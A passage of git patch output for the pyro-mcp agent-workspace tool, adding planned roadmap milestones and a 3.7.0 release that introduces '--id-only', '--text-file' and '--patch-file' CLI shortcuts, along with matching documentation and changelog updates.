More concretely, the model should not need to: 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done +6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Planned +7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Planned +8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Planned Completed so far: @@ -67,6 +81,15 @@ Completed so far: cases so the stable product is now demonstrated as repeatable end-to-end stories instead of only isolated feature surfaces. +Planned next: + +- `3.7.0` removes the remaining shell glue from canonical CLI flows with shortcut flags for + identifier handoff and file-backed text inputs. +- `3.8.0` makes the recommended chat-host entrypoint obvious from the top-level docs, help text, + and shipped MCP examples without changing the `3.x` compatibility default. +- `3.9.0` makes human-mode file reads cleaner in terminals and chat logs, with explicit + content-only reads where summaries would otherwise get in the way. + ## Expected Outcome After this roadmap, the product should still look like an agent workspace, not @@ -79,4 +102,7 @@ The intended model-facing shape is: - file edits are structured and model-native - workspace discovery is human and model-friendly - shells are readable in chat +- CLI handoff paths do not depend on ad hoc shell parsing +- the recommended chat-host profile is obvious from the first MCP example +- human-mode content reads are copy-paste safe - the five core use cases are documented and smoke-tested end to end diff --git a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md new file mode 100644 index 0000000..5e6896f --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md @@ -0,0 +1,48 @@ +# `3.7.0` Handoff Shortcuts And File Input Sources + +Status: Planned + +## Goal + +Remove the last bits of shell plumbing from the canonical CLI workspace flows so +they feel productized instead of hand-assembled. + +## Public API Changes + +Planned additions: + +- `pyro workspace create ... --id-only` +- `pyro workspace shell open ... --id-only` +- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH` +- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH` + +## Implementation Boundaries + +- keep existing `--json`, `--text`, and `--patch` stable +- treat these additions as CLI-only shortcuts over already-structured behavior +- make `--text` and `--text-file` mutually exclusive +- make `--patch` and `--patch-file` mutually exclusive +- read file-backed text and patch inputs as UTF-8 text +- keep `/workspace` scoping and current patch semantics unchanged + +## Non-Goals + +- no new binary file-write story +- no new SDK or MCP surface just to mirror CLI shorthand flags +- no hidden patch normalization beyond the current patch-apply rules +- no change to the stable `workspace_id` contract + +## Acceptance Scenarios + +- README, install docs, and first-run docs can create one workspace ID without + `python -c` output parsing +- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell + expansion +- a user can write one text file from a host file directly, without + shell-escaped inline text + +## Required Repo Updates + +- top-level workspace walkthroughs rewritten around the new shortcut flags +- CLI help text updated so the shortest happy path is copy-paste friendly +- at least one smoke scenario updated to use a file-backed patch input diff --git a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md new file mode 100644 index 0000000..0feb93c --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md @@ -0,0 +1,51 @@ +# `3.8.0` Chat-Host Onramp And Recommended Defaults + +Status: Planned + +## Goal + +Make the recommended chat-host entrypoint obvious before a new integrator has +to read deep integration docs. + +## Public API Changes + +No breaking API change is required in this milestone. + +The main user-visible change is guidance: + +- `pyro mcp serve` help text should clearly call `workspace-core` the + recommended chat-host profile +- README, install docs, first-run docs, and shipped MCP configs should all lead + with `workspace-core` +- `workspace-full` should be framed as the explicit advanced/compatibility + surface for `3.x` + +## Implementation Boundaries + +- keep the `3.x` compatibility default unchanged +- do not add new profile names +- make the recommendation visible from help text and top-level docs, not only + the integrations page +- keep provider examples and MCP examples aligned on the same profile story + +## Non-Goals + +- no breaking default flip to `workspace-core` in `3.x` +- no new hidden server behavior based on client type +- no divergence between CLI, SDK, and MCP terminology for the profile ladder + +## Acceptance Scenarios + +- a new chat-host integrator sees `workspace-core` as the recommended first MCP + profile from the first help/doc pass +- the top-level docs include one tiny chat-host quickstart near the first-run + path +- shipped config examples and provider examples all align on the same profile + progression + +## Required Repo Updates + +- top-level docs updated with a minimal chat-host quickstart +- `pyro mcp serve --help` rewritten to emphasize `workspace-core` +- examples and config snippets audited so they all agree on the recommended + profile diff --git a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md new file mode 100644 index 0000000..5b9901e --- /dev/null +++ b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md @@ -0,0 +1,50 @@ +# `3.9.0` Content-Only Reads And Human Output Polish + +Status: Planned + +## Goal + +Make human-mode content reads cleaner for chat logs, terminal transcripts, and +copy-paste workflows. + +## Public API Changes + +Planned additions: + +- `pyro workspace file read WORKSPACE_ID PATH --content-only` +- `pyro workspace disk read WORKSPACE_ID PATH --content-only` + +Behavioral polish: + +- default human-mode `workspace file read` and `workspace disk read` should + always separate content from summaries cleanly, even when the file lacks a + trailing newline + +## Implementation Boundaries + +- keep JSON output unchanged +- keep human-readable summary lines by default +- `--content-only` should print only the file content and no summary footer +- keep current regular-file-only constraints for live and stopped-disk reads + +## Non-Goals + +- no new binary dumping contract +- no removal of human summaries from the default read path +- no expansion into a generic pager or TUI reader +- no change to SDK or MCP structured read results, which are already summary-free + +## Acceptance Scenarios + +- reading a text file with no trailing newline still produces a clean transcript +- a user can explicitly request content-only output for copy-paste or shell + piping +- docs can show both summary mode and content-only mode without caveats about + messy output joining + +## Required Repo Updates + +- CLI help text updated for file and disk read commands +- stable docs and transcripts revised to use `--content-only` where it improves + readability +- tests that cover missing trailing newline cases in human mode From 7a0620fc0c7338c3a4088dca5325b94c3bd09efc Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 11:10:11 -0300 Subject: [PATCH 32/49] Add workspace handoff shortcuts and file-backed inputs Remove the remaining shell glue from the canonical CLI workspace flows so users can hand off IDs and host-authored text files directly. Add --id-only on workspace create and shell open, plus --text-file and --patch-file for workspace file write and patch apply, while keeping the underlying SDK, MCP, and backend behavior unchanged. Update the top walkthroughs, contract docs, roadmap status, and use-case smoke runner to use the new shortcuts, and verify the milestone with uv lock, make check, make dist-check, focused CLI tests, and a real guest-backed smoke for create, file write, patch apply, and shell open/read. --- CHANGELOG.md | 13 + README.md | 25 +- docs/first-run.md | 17 +- docs/install.md | 21 +- docs/public-contract.md | 6 +- docs/roadmap/llm-chat-ergonomics.md | 13 +- ...andoff-shortcuts-and-file-input-sources.md | 2 +- pyproject.toml | 2 +- src/pyro_mcp/cli.py | 105 +++++-- src/pyro_mcp/contract.py | 6 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/workspace_use_case_smokes.py | 39 ++- tests/test_cli.py | 268 +++++++++++++++++- tests/test_workspace_use_case_smokes.py | 24 ++ uv.lock | 2 +- 15 files changed, 466 insertions(+), 79 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index dbca7a1..02e1f4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,19 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.7.0 + +- Added CLI handoff shortcuts with `pyro workspace create --id-only` and + `pyro workspace shell open --id-only` so shell scripts and walkthroughs can + capture identifiers without JSON parsing glue. +- Added file-backed text inputs for `pyro workspace file write --text-file` and + `pyro workspace patch apply --patch-file`, keeping the existing `--text` and + `--patch` behavior stable while removing `$(cat ...)` shell expansion from + the canonical flows. +- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs + around the new shortcut flags, and updated the real guest-backed repro/fix + smoke to exercise a file-backed patch input through the CLI. + ## 3.6.0 - Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation, diff --git a/README.md b/README.md index 40e310f..d94bbb7 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.6.0: [CHANGELOG.md#360](CHANGELOG.md#360) +- What's new in 3.7.0: [CHANGELOG.md#370](CHANGELOG.md#370) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.6.0 +Catalog version: 3.7.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -92,12 +92,12 @@ for the published package, or `uv run pyro ...` from a source checkout. ```bash uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" pyro workspace list pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes pyro workspace file read "$WORKSPACE_ID" note.txt -pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" +pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -132,12 +132,12 @@ After the quickstart works: - enable outbound guest networking for one workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress` - add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - map one persisted secret into one exec, shell, or service call with `--secret-env API_TOKEN` -- inspect and edit files without shell quoting with `uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py`, `uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")'`, and `uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)"` +- inspect and edit files without shell quoting with `uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py`, `uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` - capture a checkpoint with `uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint` - reset a broken workspace with `uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - export a changed file or directory with `uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` -- open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` +- open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --id-only` - start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - publish one guest service port to the host with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports` and `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` - stop a workspace for offline inspection with `uvx --from pyro-mcp pyro workspace stop WORKSPACE_ID` @@ -195,7 +195,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.6.0 +Catalog version: 3.7.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -277,8 +277,8 @@ pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace file list WORKSPACE_ID src --recursive pyro workspace file read WORKSPACE_ID src/note.txt -pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' -pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" +pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py +pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID @@ -286,7 +286,7 @@ pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt -pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN +pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN --id-only pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell close WORKSPACE_ID SHELL_ID @@ -308,10 +308,11 @@ pyro workspace delete WORKSPACE_ID ``` Persistent workspaces start in `/workspace` and keep command history until you delete them. For -machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when +machine consumption, use `--id-only` for only the identifier or `--json` for the full +workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.6.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.7.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index 839740e..e7829c0 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.6.0 +Catalog version: 3.7.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -73,13 +73,12 @@ installed `pyro` binary by dropping the `uvx --from pyro-mcp` prefix, or with `u a source checkout. ```bash -$ uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | tee /tmp/pyro-workspace.json -$ export WORKSPACE_ID="$(python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])' < /tmp/pyro-workspace.json)" +$ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" $ uvx --from pyro-mcp pyro workspace list $ uvx --from pyro-mcp pyro workspace update "$WORKSPACE_ID" --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes $ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt -$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" +$ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch $ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt $ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint $ uvx --from pyro-mcp pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -103,8 +102,8 @@ $ uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro workspace file list WORKSPACE_ID src --recursive $ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py -$ uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' -$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" +$ uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py +$ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress $ uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt $ uvx --from pyro-mcp pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' @@ -112,7 +111,7 @@ $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID $ uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint $ uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt -$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN --id-only $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app @@ -180,7 +179,7 @@ Reset count: 1 $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt [workspace-export] workspace_id=... workspace_path=/workspace/src/note.txt output_path=... artifact_type=file entry_count=... bytes_written=... execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN +$ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN --id-only [workspace-shell-open] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock $ uvx --from pyro-mcp pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' @@ -256,7 +255,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.6.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.7.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index 0327eac..439f56f 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.6.0 +Catalog version: 3.7.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -140,12 +140,12 @@ for the published package, or `uv run pyro ...` from a source checkout. ```bash uv tool install pyro-mcp -WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --json | python -c 'import json,sys; print(json.load(sys.stdin)["workspace_id"])')" +WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro-fix --label issue=123 --id-only)" pyro workspace list pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes pyro workspace file read "$WORKSPACE_ID" note.txt -pyro workspace patch apply "$WORKSPACE_ID" --patch "$(cat fix.patch)" +pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint pyro workspace service start "$WORKSPACE_ID" web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' @@ -221,12 +221,12 @@ After the CLI path works, you can move on to: - live workspace updates: `pyro workspace sync push WORKSPACE_ID ./changes` - guest networking policy: `pyro workspace create debian:12 --network-policy egress` - workspace secrets: `pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` -- model-native file editing: `pyro workspace file read WORKSPACE_ID src/app.py`, `pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")'`, and `pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)"` +- model-native file editing: `pyro workspace file read WORKSPACE_ID src/app.py`, `pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` - baseline diff: `pyro workspace diff WORKSPACE_ID` - snapshots and reset: `pyro workspace snapshot create WORKSPACE_ID checkpoint` and `pyro workspace reset WORKSPACE_ID --snapshot checkpoint` - host export: `pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - stopped-workspace inspection: `pyro workspace stop WORKSPACE_ID`, `pyro workspace disk list WORKSPACE_ID`, `pyro workspace disk read WORKSPACE_ID note.txt`, and `pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` -- interactive shells: `pyro workspace shell open WORKSPACE_ID` +- interactive shells: `pyro workspace shell open WORKSPACE_ID --id-only` - long-running services: `pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - localhost-published ports: `pyro workspace create debian:12 --network-policy egress+published-ports` and `pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` - MCP: `pyro mcp serve --profile workspace-core` @@ -245,8 +245,8 @@ pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace file list WORKSPACE_ID src --recursive pyro workspace file read WORKSPACE_ID src/note.txt -pyro workspace file write WORKSPACE_ID src/app.py --text 'print("hi")' -pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" +pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py +pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch pyro workspace exec WORKSPACE_ID -- cat src/note.txt pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- sh -lc 'test "$API_TOKEN" = "expected"' pyro workspace diff WORKSPACE_ID @@ -254,7 +254,7 @@ pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt -pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN +pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN --id-only pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell close WORKSPACE_ID SHELL_ID @@ -276,10 +276,11 @@ pyro workspace delete WORKSPACE_ID ``` Workspace commands default to the persistent `/workspace` directory inside the guest. If you need -the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` +the identifier programmatically, use `--id-only` for only the identifier or `--json` for the full +workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.6.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.7.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/public-contract.md b/docs/public-contract.md index 7c76615..cd311c4 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -80,6 +80,7 @@ Behavioral guarantees: - `pyro demo ollama` prints log lines plus a final summary line. - `pyro workspace create` auto-starts a persistent workspace. - `pyro workspace create --seed-path PATH` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `pyro workspace create --id-only` prints only the new `workspace_id` plus a trailing newline. - `pyro workspace create --name NAME --label KEY=VALUE` attaches human-oriented discovery metadata without changing the stable `workspace_id`. - `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. - `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` narrows the model-facing MCP surface without changing runtime behavior. @@ -90,7 +91,7 @@ Behavioral guarantees: - `pyro workspace start WORKSPACE_ID` restarts one stopped workspace without resetting `/workspace`. - `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` returns metadata for one live path under `/workspace`. - `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` reads one regular text file under `/workspace`. -- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` creates or replaces one regular text file under `/workspace`, creating missing parent directories automatically. +- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` and `--text-file PATH` create or replace one regular text file under `/workspace`, creating missing parent directories automatically. - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` exports one file or directory from `/workspace` back to the host. - `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` copies the stopped guest-backed workspace rootfs as raw ext4 to the host. - `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` inspects a stopped guest-backed workspace rootfs offline without booting the guest. @@ -104,7 +105,8 @@ Behavioral guarantees: - `pyro workspace exec --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one exec call. - `pyro workspace service start --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into one service start call. - `pyro workspace exec` runs in the persistent `/workspace` for that workspace and does not auto-clean. -- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` applies one unified text patch with add/modify/delete operations under `/workspace`. +- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` and `--patch-file PATH` apply one unified text patch with add/modify/delete operations under `/workspace`. +- `pyro workspace shell open --id-only` prints only the new `shell_id` plus a trailing newline. - `pyro workspace shell open --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into the opened shell environment. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. - `pyro workspace shell read --plain --wait-for-idle-ms 300` is the recommended chat-facing read mode; raw shell reads remain available without `--plain`. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 8f7e43f..7c76989 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.6.0`: +Current baseline is `3.7.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -37,8 +37,8 @@ The remaining UX friction for a technically strong new user is now narrower: - the best chat-host profile is recommended in docs, but not yet obvious enough from the default live `mcp serve` path -- canonical CLI walkthroughs still need small amounts of shell glue such as - `python -c` extraction of `workspace_id` and `$(cat fix.patch)` expansion +- canonical CLI walkthroughs are cleaner now, but the recommended chat-host + entrypoint still needs to be more obvious from the default docs and help - human-mode file reads are functional, but still need final transcript polish for copy-paste and chat logs @@ -61,7 +61,7 @@ The remaining UX friction for a technically strong new user is now narrower: 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done -6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Planned +6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done 7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Planned 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Planned @@ -80,11 +80,12 @@ Completed so far: - `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use cases so the stable product is now demonstrated as repeatable end-to-end stories instead of only isolated feature surfaces. +- `3.7.0` removed the remaining 